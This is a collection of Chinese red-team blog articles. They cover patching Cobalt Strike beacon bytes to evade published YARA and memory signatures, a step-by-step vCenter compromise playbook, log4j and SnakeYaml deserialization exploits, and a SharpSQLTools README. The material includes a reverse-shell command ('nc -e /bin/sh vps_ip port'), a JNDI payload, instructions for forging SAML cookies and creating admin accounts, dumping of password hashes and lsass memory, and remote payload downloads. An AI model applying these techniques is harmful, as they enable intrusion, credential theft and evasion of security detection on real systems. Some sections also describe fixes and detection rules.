前言近日，谷歌云威胁情报团队开源了一组YARA规则，以帮助防御者标记和识别Cobalt Strike及其版本

前言

近日，谷歌云威胁情报团队开源了一组YARA规则，以帮助防御者标记和识别Cobalt Strike及其版本。(https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse)

试一波

项目地址：https://github.com/chronicle/GCTI/tree/main/YARA

使用自己的加载器上线，写个脚本批量扫一下：

import os

path = "C:\Users\xxx\Desktop\YARA\CobaltStrike"

def scan(path):
   
    file_list = os.listdir(path)
    
    for file in file_list:
        fullPath = os.path.join(path,file)
        cmd = "C:\Users\xxx\Desktop\YARA\yara64.exe " + fullPath + " 11200"
        result = os.popen(cmd).read()
        if result:
            print(result)
        
if __name__ == '__main__':
    scan(path)

结果如下（sleep和执行命令前后结果一致）：

命中两条规则：

CobaltStrike__Sleeve_Beacon_x64_v4_5_variant

CobaltStrike__Sleeve_BeaconLoader_MVF_x64_o_v4_3_v4_4_v4_5_and_v4_6

嗯，确实精准，下面开始bypass……

CobaltStrike__Sleeve_Beacon_x64_v4_5_variant

这条规则出自：CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara

具体如下：

rule CobaltStrike__Sleeve_Beacon_x64_v4_5_variant
{
  meta:
    desc="Cobalt Strike's sleeve/beacon.x64.dll Versions 4.5 (variant)"
    rs1 = "8f0da7a45945b630cd0dfb5661036e365dcdccd085bc6cff2abeec6f4c9f1035"
    author = "gssincla@google.com"
    
  strings:
    /*
      41 B8 01 00 00 00 mov     r8d, 1
      8B D0             mov     edx, eax
      49 8B CA          mov     rcx, r10
      48 83 C4 28       add     rsp, 28h
      E9 E8 AB FF FF    jmp     sub_1800115A4
      8B D0             mov     edx, eax
      49 8B CA          mov     rcx, r10
      E8 1A EB FF FF    call    f_UNK__Command_92__ChangeFlag
      48 83 C4 28       add     rsp, 28h
    */
    $version_sig = { 41 B8 01 00 00 00 8B D0 49 8B CA 48 83 C4 28 E9 E8 AB FF FF
                     8B D0 49 8B CA E8 1A EB FF FF 48 83 C4 28 }

    /*
      80 34 28 ??       xor     byte ptr [rax+rbp], 2Eh
      48 FF C0          inc     rax
      48 3D 00 10 00 00 cmp     rax, 1000h
      7C F1             jl      short loc_180018E1F
    */

    $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
    
  condition:
    all of them
}

特征出自beacon.x64.dll，改dll特征需要注意一点：不能影响程序功能，那么最简单的方式就是找那些两条指令交换顺序是不影响的

比如$version_sig中mov edx, eax和mov rcx, r10，可参考我之前的文章（https://mp.weixin.qq.com/s/5HYELRGm6XClvJ1ZHBHVKg）

接下来掏出心爱的ida，找到对应的地方：

修改后：

而$decoder中检测的是配置信息的xor功能，可参考我之前的文章（https://mp.weixin.qq.com/s/fhcTTWV4Ddz4h9KxHVRcnw）

80 34 28 ??       xor     byte ptr [rax+rbp], 2Eh
48 FF C0          inc     rax
48 3D 00 10 00 00 cmp     rax, 1000h
7C F1             jl      short loc_180018E1F

这里段程序只有4行，看上去是没法用之前的方法改了，实际上进行一个简单分析后，同样是能改掉特征的，而且比较简单，汇编比较熟的童鞋应该很快就能发现，这里就不公开了，留给大家思考 o(*≧▽≦)ツ

验证一下，由于rule CobaltStrike__Sleeve_Beacon_x64_v4_5_variant是all of them，而$version_sig已经bypass了，所以这里改成$version_sig or $decoder

成功bypass

CobaltStrike__Sleeve_BeaconLoader_MVF_x64_o_v4_3_v4_4_v4_5_and_v4_6

这条规则出自：CobaltStrike__Sleeve_BeaconLoader_all.yara

具体如下：

rule CobaltStrike__Sleeve_BeaconLoader_MVF_x64_o_v4_3_v4_4_v4_5_and_v4_6
{
  meta:
    desc="Cobalt Strike's sleeve/BeaconLoader.MVF.x64.o (MapViewOfFile) Versions 4.3 through at least 4.6"
    rs1 = "9d5b6ccd0d468da389657309b2dc325851720390f9a5f3d3187aff7d2cd36594"
    author = "gssincla@google.com"
    
  strings:
    /*
      C6 44 24 58 4D mov     [rsp+98h+var_40], 4Dh ; 'M'
      C6 44 24 59 61 mov     [rsp+98h+var_3F], 61h ; 'a'
      C6 44 24 5A 70 mov     [rsp+98h+var_3E], 70h ; 'p'
      C6 44 24 5B 56 mov     [rsp+98h+var_3D], 56h ; 'V'
      C6 44 24 5C 69 mov     [rsp+98h+var_3C], 69h ; 'i'
      C6 44 24 5D 65 mov     [rsp+98h+var_3B], 65h ; 'e'
      C6 44 24 5E 77 mov     [rsp+98h+var_3A], 77h ; 'w'
      C6 44 24 5F 4F mov     [rsp+98h+var_39], 4Fh ; 'O'
      C6 44 24 60 66 mov     [rsp+98h+var_38], 66h ; 'f'
      C6 44 24 61 46 mov     [rsp+98h+var_37], 46h ; 'F'
      C6 44 24 62 69 mov     [rsp+98h+var_36], 69h ; 'i'
      C6 44 24 63 6C mov     [rsp+98h+var_35], 6Ch ; 'l'
      C6 44 24 64 65 mov     [rsp+98h+var_34], 65h ; 'e'
    */

    $core_sig = {
      C6 44 24 58 4D
      C6 44 24 59 61
      C6 44 24 5A 70
      C6 44 24 5B 56
      C6 44 24 5C 69
      C6 44 24 5D 65
      C6 44 24 5E 77
      C6 44 24 5F 4F
      C6 44 24 60 66
      C6 44 24 61 46
      C6 44 24 62 69
      C6 44 24 63 6C
      C6 44 24 64 65
    }

    // These strings can narrow down the specific version
    //$ver_43 = { 96 2C 3E 60 }         // Version 4.3
    //$ver_44_45_46 = { D2 57 86 5F }   // Versions 4.4, 4.5, and 4.6
    
  condition:
    all of them
}

cs会根据profile中allocator选项选择相应的反射加载器，对应三种申请内存的方式：HeapAlloc、MapViewOfFile 和 VirtualAlloc

这里我使用的是MapViewOfFile，再次拿起心爱的ida，打开BeaconLoader.MVF.x64.o，找到对应的位置：

这可太简单了，直接把顺序打乱就行，不影响

验证一下，全部bypass：

结语

每只CS的体质不同（profile、linstener、架构、魔改等），命中的规则也不同，本文只是抛砖引玉。

不要给我提什么：哎呀你还用cs啊，我们都换别的啦，我们都自研啦巴拉巴拉，我只是觉得对于很多平民玩家，缝缝补补能用，不就行了吗？

阅读原文

跳转微信打开

Vcenter人送外号小域控，Vcenter拿下之后，不单单只是获取一台服务器的权限【因为Vcenter的管理端中必然会有其他的虚拟机存在】，拿下Vcenter的价值不亚于域控的价值。

前言

Vcenter一般指VMware vCenter Server，其提供了一个可伸缩、可扩展的平台，为虚拟化管理奠定了基础，可集中管理VMware vSphere环境，与其他管理平台相比，极大地提高了IT管理员对虚拟环境的控制，Vcenter可以使管理员从一个位置深入了解虚拟基础架构的集群、主机、虚拟机、存储、客户操作系统和其他关键组件等所有信息。

利用思路

• Vcenter利用点非常多，获取权限之后危害较大，并且web特征明显，内网中很容易被发现。

• 发现之后，查看Vcenter版本信息，确定存在的漏洞，通过漏洞获取webshell。

• 测试权限，如果权限为root，进行伪造cookie或者创建用户操作获取web权限，进入vCenter后台获取更多机器的权限，尽可能的滚雪球扩大战果，如果权限为vsphere-ui，则查看版本是否存在条件提权，存在条件提权就提权到root权限，重复root权限操作。如果不存在条件提权，就尽可能的从当前机器中记录数据，以此机器作为跳板机进行内网漫游。

实战思路

• 为什么要打Vcenter

Vcenter人送外号小域控，Vcenter拿下之后，不单单只是获取一台服务器的权限【因为Vcenter的管理端中必然会有其他的虚拟机存在】，拿下Vcenter的价值不亚于域控的价值。

• 怎么寻找公网的Vcenter

通过搜索语法查找公网Vcenter服务器，一般Vcenter开放的端口为5480，此外，使用工具获取网页title时，也可以发现Vcenter服务器。

title="+ ID_VC_Welcome +"

• 打下Vcenter之后应该做什么

内网三要素，我是谁？我在哪？我要去哪？接下来就是翻找数据，伪造cookie或者创建用户操作获取web权限，获取windows机器的hash，或者直接进入虚拟机进行信息搜集，做专属的密码本，一些相关的敏感数据也是加分项，以便于后期的内网渗透，信息搜集做的好，漏洞绝对跑不了。

查看Vcenter版本

/sdk/vimServiceVersions.xml

漏洞利用

·Nuclei

工具介绍

Nuclei是一个快速的、基于模板的漏洞扫描程序，专注于广泛的可配置性、大规模的可扩展性和易用性，方便利用模板快速定位漏洞。

项目地址

https://github.com/projectdiscovery/nuclei

·CVE-2021-21972

使用脚本

https://github.com/NS-Sp4ce/CVE-2021-21972

命令

python cve-2021-21972.py -url

影响版本

VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG

攻击脚本至少需要写120次，寻找真实的绝对路径，受网络问题影响较大，如果写入成功，就会直接回显shell地址。

确认漏洞

1. 通过Nuclei获取存在漏洞的网站。

2. Url中拼接/ui/vropspluginui/rest/services/uploadova，如果页面返回状态码为200、405，则可能存在漏洞。

·CVE-2021-21985

使用脚本

https://github.com/r0ckysec/CVE-2021-21985

命令

VPS

java -jar JNDIInjection-Bypass.jar 1099 <vpsip> <监听port> # 使用脚本生成pyloadnc -lvvp <监听port> # nc接收反弹shell

攻击鸡

python cve-2021-21985_exp.py <target> <rmi://ip/class>

影响版本

VMware vCenter Server 7.0系列 < 7.0.U2b
VMware vCenter Server 6.7系列 < 6.7.U3n
VMware vCenter Server 6.5系列 < 6.5 U3p
VMware Cloud Foundation 4.x 系列 < 4.2.1
VMware Cloud Foundation 4.x 系列 < 3.10.2.1

确认漏洞

nuclei扫描

·CVE-2021-22005

使用脚本

https://github.com/shmilylty/cve-2021-22005-exp

命令

exp.exe -t <target> -s <webshell>

如果不指定-s的话，会上传默认的cmd.jsp，可以指定自己生成的马儿。

影响版本

VMware vCenter Server 7.0

VMware vCenter Server 6.7 Running On Virtual Appliance

VMware Cloud Foundation (vCenter Server) 4.x

VMware Cloud Foundation (vCenter Server) 3.x

确认漏洞

利用nuclei扫描

·Log4j

使用脚本

https://github.com/zzwlpx/JNDIExploit

命令

漏洞成因是Vcenter的SAML路由中，可以通过增加XFF头触发漏洞，把需要执行的命令跟在XFF后面。

SAML路由路径如下：

 /websso/SAML2/SSO/vsphere.local?SAMLRequest=

Payload如下：

${jndi:ldap://exp}

exp的内容需要通过上面给出的脚本JDNI注入工具完成。

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps_ip

查看可执行的命令

java -jar JNDIExploit-1.2-SNAPSHOT.jar -u

利用命令行反弹shell

利用命令行反弹shell的方式有两种，第一种是直接使用工具中自带的/ReverseShell/ip/port，但是这种方式不适合用于Vcenter，虽然可以反弹回shell，但是执行命令无法回显。这里选择使用以下命令反弹shell

nc -e /bin/sh vps_ip port

后续利用

获取web权限

·伪造cookie

使用脚本

https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py

命令

使用脚本时可能会报错，需要提前安装requirements.txt下的库

windows下安装python-ldap的方法：

下载对应python版本的python-ldap（cp310代表的是python3.10的版本）

项目地址

https://www.lfd.uci.edu/~gohlke/pythonlibs/# python-ldap

pip install python_ldap-3.4.0-cp310-cp310-win_amd64.whl

获取data.mdb

windows：C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdblinux：/storage/db/vmware-vmdir/data.mdb

从目标机器/storage/db/vmware-vmdir/的目录下下载data.mdb。

伪造cookie

目标机器内网ip需要本地可以访问到，否则无法伪造cookie。

python vcenter_saml_login.py -t <目标机器内网ip> -p data.mdb

使用cookie修改工具，修改cookie的值

修改完成之后，点击页面的启动

如果没成功，则代表需要设置hosts指定域名和ip的关系，清除浏览器缓存重新访问。

·LDAP创建管理员

使用脚本

文章

https://3gstudent.github.io/vSphere开发指南5-LDAP

脚本

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py

实战

将脚本上传之后，执行命令搜集相关信息，方便后续替换

python update.pypython update.py getadminpython update.py getuser

根据收集到的信息修改脚本内容

使用下列命令adduser、addadmin

python update.py adduserpython update.py addadmin

登录验证

·获取Vcenter后台windows机器权限

使用脚本

https://www.volatilityfoundation.org/releases

手法

利用伪造cookie或者LDAP创建管理员进入到后台，找到一台处于锁屏界面的windows主机，创建快照。

快照保存在相对应的数据库中，在相对应的数据库中下载vmem和vmsn这两个文件。

利用volatility查看Suggested Profile(s)

默认选择第一个（volatility默认推荐）

volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem imageinfo

列出注册表内容

volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hivelist

使用hashdump获取hash值

volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a000478010

还有一些其他的手法本文未提及，D大的可以自行研究下，提前祝大家周末愉快！

阅读原文

跳转微信打开

简单来讲，就是当cs在profile中设置sleep_mask为true时，Beacon会在进入sleep之前在内存中混淆自身，但是这个操作只会混淆字符串和数据，而负责进行加解密的代码部分不会混淆，且在内存中可以被标记出来

        特征出自：https://www.elastic.co/cn/blog/detecting-cobalt-strike-with-memory-signatures

        简单来讲，就是当cs在profile中设置sleep_mask为true时，Beacon会在进入sleep之前在内存中混淆自身，但是这个操作只会混淆字符串和数据，而负责进行加解密的代码部分不会混淆，且在内存中可以被标记出来，这就成了cs的内存特征之一

        文章中给出了x64和x86的特征值：

$a_x64 = {4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03}
$a_x86 = {8B 46 04 8B 08 8B 50 04 83 C0 08 89 55 08 89 45 0C 85 C9 75 04 85 D2 74 23 3B CA 73 E6 8B 06 8D 3C 08 33 D2}

        可以看到确实能被检测出来：

        下面开始绕过，还是先解密dll（解密相关请看我以前的文章：https://mp.weixin.qq.com/s/fhcTTWV4Ddz4h9KxHVRcnw），然后用ida打开beacon.dll，找到特征对应的地方：

        其实它这个规则匹配的就是功能代码部分，对应的伪代码是这一段：

        由于它是基于程序一小块功能来进行匹配的，那么我们稍微改变一下程序的逻辑或者算法，那么就能改变局部的机器码，细看一下汇编代码，发现可以在这里动手：

        第一条指令是把eax的值给ecx，第二条指令是把eax+4的值给edx，那么很明显这两条指令交换顺序是不影响的，其中mov ecx, [eax]对应的机器码是8B 08，mov edx, [eax+4]对应的机器码是8B 50 04,把他们交换下顺序即可：

        然后两条指令成功交换了执行顺序：

        改完过后就匹配不到了：

        x64的修改也是同样的思路，想研究的就自己去实践下吧。

        本文只是作者前段时间一次内部技术分享中的一个小节，获得更多内容的方式在下面（打个小广告）：

青藤云安全招聘

岗位：渗透测试工程师（红队方向）

base：上海、南京

薪资待遇：15-40k

工作内容：

1、参与公司红队评估、护网项目

2、研究最新漏洞和技术

3、对安服人员进行技术赋能

任职要求:

1、熟练掌握各种渗透测试技巧、熟练运用各类安全工具

2、具有丰富的实战经验可独立完成红队工作

3、至少熟悉一种语言（java/python/c/c++/c#/golang/rust等），能编写渗透工具或exp，具有代码审计能力者佳

4.对安全有浓厚的兴趣，有较强的钻研能力，有良好的团队精神

加分项：

1、拥有大型企业内外网渗透经验或大型HW攻击方经验，对APT有深入研究或实践经验

2、开发过安全工具、平台

3、发布过高质量原创文章

4、在各大SRC平台有较好的排名

        请给我一个与您并肩作战的机会，简历投递备注来自零队公众号，邮箱：wenyue.wang@qingteng.cn

阅读原文

跳转微信打开

0x00 前言前段时间在看某个cms代码的时候，发现log4j组件版本存在漏洞，并且开启了端口，但web站点

0x00 前言

前段时间在看某个cms代码的时候，发现log4j组件版本存在漏洞，并且开启了端口，但web站点是nginx反向代理的，而在外网并没有开放到该端口，所以并没有利用成功。但该漏洞遇到的比较少，就算一些cms中log4j组件版本存在漏洞，该漏洞需要使用SimpleSocketServer开启端口才能够接受socket中的数据进行反序列化操作，从而才能利用。

0x01 log4j 漏洞简介

漏洞简介

log4j用的其实还是比较多，记录一些Java的日志，这个相信接触过Java的都知道，在此不做多的赘诉。

漏洞版本：CVE-2019-17571

1.2.4 <= Apache Log4j <= 1.2.17

漏洞原因是因为调用SimpleSocketServer.main开启一个端口，进行接受数据，进行反序列化操作。

根据官方描述作用是把接受到的LoggingEvent作为本地的日志记录事件，再使用在服务器端配置的Log4J环境来记录日志。默认可能会开启在4560端口中。

0x02 log4j 反序列化分析

漏洞复现

配置漏洞代码

import org.apache.log4j.net.SimpleSocketServer;
public class log4j {
    public static void main(String[] args) {
        System.out.println("INFO: Log4j Listening on port 1234");
        String[] arguments = {"1234", (new log4j()).getClass().getClassLoader().getResource("log4j.properties").getPath()};
        SimpleSocketServer.main(arguments);
        System.out.println("INFO: Log4j output successfuly.");
    }
}

配置log4j文件

log4j.rootCategory=DEBUG,stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.threshold=DEBUG
log4j.appender.stdout.layout.ConversionPattern=[%d{yyy-MM-dd HH:mm:ss,SSS}]-[%p]-[MSG!:%m]-[%c\:%L]%n

然后使用yso生成gadget的序列化数据，直接使用nc进行发送。但是nc发送传输有时候会有些问题，有时候传输数据缺失，会反序列化失败。

nc 127.0.0.1 1234 < log4j.curl.bin

漏洞分析

漏洞比较简单，还是现在漏洞位置先下断点。

跟进查看

在这里开启serverSocket进行监听，也就是socket的服务端，然后new了SocketNode进行传入。

继续跟进

而在这里接受了socket的数据。

下一步会来到run的这个方法里面，是因为前面调用了线程的start，而start的底层会调用run

直接就对ois也就是刚刚接受的socket数据，调用readobject进行反序列化。

0x03 工具编写

在复现的时候，使用nc发送数据时数据传输不完整，导致反序列化失败。就随手写了一个小工具，方便下次遇到的时候使用（可能也极少能遇到，比较鸡肋）

命令执行：

反弹shell：

POC:

由于比较少见，反序列化回显暂不构造。

github地址：https://github.com/nice0e3/log4j_POC

动动小手点点start

0x04 结尾

log4j的反序列化漏洞比较简单，而类似于这种反序列化工具原理其实差不多，只是发包构造的数据包不一样，分析一下漏洞知道漏洞怎么形成的。原理其实比较简单，但也会遇到很多细节问题，如回显方式，或gui的优化问题。

阅读原文

跳转微信打开

0x00 前言偶然间看到SnakeYaml的资料感觉挺有意思，发现SnakeYaml也存在反序列化利用的问题

0x00 前言

偶然间看到SnakeYaml的资料感觉挺有意思，发现SnakeYaml也存在反序列化利用的问题。借此来分析一波。

0x01 SnakeYaml 使用

SnakeYaml 简介

SnakeYaml是用来解析yaml的格式，可用于Java对象的序列化、反序列化。

SnakeYaml 使用

导入依赖jar包

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

常用方法

String  dump(Object data)
将Java对象序列化为YAML字符串。
void    dump(Object data, Writer output)
将Java对象序列化为YAML流。
String  dumpAll(Iterator<? extends Object> data)
将一系列Java对象序列化为YAML字符串。
void    dumpAll(Iterator<? extends Object> data, Writer output)
将一系列Java对象序列化为YAML流。
String  dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
将Java对象序列化为YAML字符串。
String  dumpAsMap(Object data)
将Java对象序列化为YAML字符串。
<T> T   load(InputStream io)
解析流中唯一的YAML文档，并生成相应的Java对象。
<T> T   load(Reader io)
解析流中唯一的YAML文档，并生成相应的Java对象。
<T> T   load(String yaml)
解析字符串中唯一的YAML文档，并生成相应的Java对象。
Iterable<Object>    loadAll(InputStream yaml)
解析流中的所有YAML文档，并生成相应的Java对象。
Iterable<Object>    loadAll(Reader yaml)
解析字符串中的所有YAML文档，并生成相应的Java对象。
Iterable<Object>    loadAll(String yaml)
解析字符串中的所有YAML文档，并生成相应的Java对象。

序列化

Myclass类：

package test;
public class MyClass {
    String value;
    public MyClass(String args) {
        value = args;
    }

    public String getValue(){
        return value;
    }
}

Test类：

@Test
    public  void test() {

    MyClass obj = new MyClass("this is my data");

    Map<String, Object> data = new HashMap<String, Object>();
    data.put("MyClass", obj);
    Yaml yaml = new Yaml();
    String output = yaml.dump(data);
    System.out.println(output);
}
}

结果：

MyClass: !!test.MyClass {}

前面的!!是用于强制类型转化，强制转换为!!后指定的类型，其实这个和Fastjson的@type有着异曲同工之妙。用于指定反序列化的全类名。

反序列化

yaml文件：

firstName: "John"
lastName: "Doe"
age: 20

测试类：

@Test
    public  void test(){
        Yaml yaml = new Yaml();
        InputStream resourceAsStream = this.getClass().getClassLoader().getResourceAsStream("test1.yaml");
        Object load = yaml.load(resourceAsStream);
        System.out.println(load);
    }
}

执行结果：

{firstName=John, lastName=Doe, age=20}

0x02 漏洞分析

漏洞复现

首先还是先来复现一下漏洞，能进行利用后再进行分析利用过程。

下面来看到一段POC代码：

public class main {
    public static void main(String[] args) {

        String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://fnsdae.dnslog.cn\"]]]]\n";
        Yaml yaml = new Yaml();
        yaml.load(context);
    } 
}

成功获取dnslog请求，但是这poc也只能探测是否进行了反序列化。如果需要利用的话还需要构造命令执行的代码。

利用脚本其实已经有师傅写好了。转到这个github项目下下载该项目。打开修改代码。

脚本也比较简单，就是实现了ScriptEngineFactory接口，然后在静态代码块处填写需要执行的命令。将项目打包后挂载到web端，使用payload进行反序列化后请求到该位置，实现java.net.URLClassLoader调用远程的类进行执行命令。

python -m http.server --cgi 8888

测试代码：

public class main {
    public static void main(String[] args) {

        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml();
        yaml.load(context);
    }

}

命令执行成功。

SPI机制

在漏洞分析前先来了解一下SPI机制，在前面使用的执行代码的payload中看到使用ScriptEngineManager类来进行构造，其实ScriptEngineManager利用的的底层也是SPI机制。

SPI ，全称为 Service Provider Interface，是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件，自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。

那么如果需要使用 SPI 机制需要在Java classpath 下的 META-INF/services/ 目录里创建一个以服务接口命名的文件，这个文件里的内容就是这个接口的具体的实现类。

在第一次听说SPI还是在看JDBC底层实现的时候，但是并没有去做多的了解。这里拿JDBC来举个例子。

SPI是一种动态替换发现的机制，比如有个接口，想运行时动态的给它添加实现，你只需要添加一个实现。

来看到连接驱动的jar包，这里就是在Java classpath 下的 META-INF/services/ 定义实现类。

而数据库有很多种类型，而实现方式不尽相同，而在实现各种连接驱动的时候，只需要添加java.sql.Driver实现接口，然后Java的SPI机制可以为某个接口寻找服务实现，就实现了各种数据库的驱动连接。

实现细节：程序会java.util.ServiceLoder动态装载实现模块，在META-INF/services目录下的配置文件寻找实现类的类名，通过Class.forName加载进来,newInstance()反射创建对象,并存到缓存和列表里面。

漏洞分析

先来简单讲讲我理解的该漏洞利用的过程，建立在未对该漏洞分析前。

前面说到SPI会通过java.util.ServiceLoder进行动态加载实现，而在刚刚的exp的代码里面实现了ScriptEngineFactory并在META-INF/services/ 里面添加了实现类的类名，而该类在静态代码块处是我们的执行命令的代码，而在调用的时候，SPI机制通过Class.forName反射加载并且newInstance()反射创建对象的时候，静态代码块进行执行，从而达到命令执行的目的。

下面开始调试分析漏洞，在漏洞位置下断点

这里调用this.loadFromReader跟踪查看

以上就是各种赋值，需要注意的是数据的流向，这里没啥好看的，来步进到下面，下面的返回值调用constructor.getSingleData跟踪。

这里并没有走到判断体里面而是直接返回并且调用了this.constructDocument(),跟进。

这里调用this.constructObject就返回了一个Object对象，所以继续从这个方法跟进进去，查看实现。

跟进constructObjectNoCheck

 这个点先跟踪    getConstructor

这里还是返回了一个反射的class对象，继续跟。

这里获取了name的值为javax.script.ScriptEngineManager,然后调用getClassForName对name进行传入获取cl的class对象。跟踪getClassForName。

在这里就可以看到使用反射创建了一个javax.script.ScriptEngineManager对象的具体实现，而后面代码则是一些赋值的。执行到下一步来到了这个。

跟踪construct方法查看，到了这部分其实就已经到了关键部分。

看到这段代码创建了一个array数组，并且调用node.getType.getDeclaredConstructors();赋值给arr$数组，回想前面的分析中，获取的name，也就是利用了javax.script.ScriptEngineManager，Class.forName进行创建反射对象并且赋值给note的type里面。而后这里getDeclaredConstructors()获取它的无参构造方法。

然后将获取到的arr数组添加到possibleConstructors

而后将获取到的possibleConstructors获取到的第一个数组进行赋值并转换成Constructor类型

这里回去遍历获取snode的值。

这里进行使用反射实例化对象。

到了这里以为就结束了嘛？不是的，其实我们现在只是知道了javax.script.ScriptEngineManager是如何进行实例化的，但我们并不知道javax.script.ScriptEngineManager实例化后是如何触发的代码执行。下面可以来跟踪一下SPI机制是怎么实现的。

在前面反射调用无参构造方法后，会走到这里，下面调用init方法跟踪一下。

跟踪

看到这里其实就和前面讲到的SPI机制一样，调用getServiceLoader动态加载类，这里先在慢慢往下看

跟进该地方会看到调用hasNextService方法

这里会去META-INF/services/javax.script.ScriptEngineFactory获取实现类的信息

下面再来跟进itr.text

这里会去实例化接口的实现类

走到这一步命令执行成功。

0x03 漏洞修复

其实该漏洞涉及到了全版本，只要反序列化内容可控,那么就可以去进行反序列化攻击

修复方案：加入new SafeConstructor()类进行过滤

public class main {
    public static void main(String[] args) {

        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml(new SafeConstructor());
        yaml.load(context);
    }

}

再次进行反序列化会抛异常。

再者就是拒绝不安全的反序列化操作，反序列化数据前需要经过校验或拒绝反序列化数据可控。

0x04 结尾

在审计中其实就可以直接定位yaml.load();，然后进行回溯，如若参数可控，那么就可以尝试传入payload。但又出现另外一个问题，假如不出网的情况，是不是有很好的解决方案呢？

阅读原文

跳转微信打开

和RcoIl一起写的小工具，可上传下载文件，xp_cmdshell和xp_cmdshell与sp_oacreate双回显和clr加载程序集执行相应操作。

简介

和RcoIl一起写的小工具，可上传下载文件，xpcmdshell与spoacreate双回显和clr加载程序集执行相应操作。功能参考mssqlproxy，由于目前C#还不知如何获取SQL连接的socket，该项目中的mssqlproxy功能目前尚未实现。另外，Clr不适用于一些与线程进程相关的操作。

编译环境为net 4.0

吹一波RcoIl ，关注RcoIl跟着大佬学C#！！！

http://github.com/rcoIl

Usage

>SharpSQLTools.exe
   _____ _                      _____  ____  _   _______          _
  / ____| |                    / ____|/ __ \| | |__   __|        | |
 | (___ | |__   __ _ _ __ _ __| (___ | |  | | |    | | ___   ___ | |___
  \___ \| '_ \ / _` | '__| '_ \\___ \| |  | | |    | |/ _ \ / _ \| / __|
  ____) | | | | (_| | |  | |_) |___) | |__| | |____| | (_) | (_) | \__ \
 |_____/|_| |_|\__,_|_|  | .__/_____/ \___\_\______|_|\___/ \___/|_|___/
                         | |
                         |_|
                                                    by Rcoil & Uknow
Usage:
SharpSQLTools target username password                   - interactive console
SharpSQLTools target username password module command    - non-interactive console
Module:
enable_xp_cmdshell         - you know what it means
disable_xp_cmdshell        - you know what it means
xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
sp_oacreate {cmd}          - executes cmd using sp_oacreate
enable_ole                 - you know what it means
disable_ole                - you know what it means
upload {local} {remote}    - upload a local file to a remote path (OLE required)
download {remote} {local}  - download a remote file to a local path
enable_clr                 - you know what it means
disable_clr                - you know what it means
install_clr                - create assembly and procedure
uninstall_clr              - drop clr
clr_dumplsass              - dumplsass by clr
clr_adduser {user} {pass}  - add user by clr
clr_download {url} {path}  - download file from url by clr
exit                       - terminates the server process (and this session)

功能介绍

支持交互模式与非交互模式，交互模式直接跟目标，用户名和密码即可。非交互模式直接跟模块与命令。

SharpSQLTools target username password                   - interactive console
SharpSQLTools target username password module command    - non-interactive console

xp_cmdshell执行命令

λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX xp_cmdshell whoami
[*] Database connection is successful!
nt authority\system

sp_oacreate执行命令

λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX sp_oacreate whoami
[*] Database connection is successful!
[+] c:\windows\system32\cmd.exe /c whoami > C:\Users\Public\Downloads\1611131759069.txt
[+] Reading C:\Users\Public\Downloads\1611131759069.txt
nt authority\system
[+] Deleting C:\Users\Public\Downloads\1611131759069.txt

clr_dumplsass

λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX clr_dumplsass
[*] Database connection is successful!
[*] Dumping lsass (488) to C:\Windows\Temp\debug488.out
[+] Dump successful!
[*] Compressing C:\Windows\Temp\debug488.out to C:\Windows\Temp\debug488.bin gzip file
[X] Output file 'C:\Windows\Temp\debug488.bin' already exists, removing
[*] Deleting C:\Windows\Temp\debug488.out
[+] Dumping completed. Rename file to "debug488.gz" to decompress.
[*] Operating System : Windows Server 2008 R2 Standard
[*] Architecture     : AMD64
[*] Use "sekurlsa::minidump debug.out" "sekurlsa::logonPasswords full" on the same OS/arch

clr_adduser

λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX clr_adduser test1234 1qaz@WSX
[*] Database connection is successful!
[*] Adding User success
[*] Adding Group Member success

clr_download

λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX clr_download "http://192.168.28.185:8001/clac.bin" "c:\Users\Public\Downloads\test.bin"
[*] Database connection is successful!
[*] Download success

upload

λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX upload C:\Users\Pentest\Desktop\test\usc.exe c:\Users\Public\Downloads\11.exe
[*] Database connection is successful!
[*] Uploading 'C:\Users\Pentest\Desktop\test\usc.exe' to 'c:\Users\Public\Downloads\11.exe'...
[+] 7-1 Upload completed
[+] 7-2 Upload completed
[+] 7-3 Upload completed
[+] 7-4 Upload completed
[+] 7-5 Upload completed
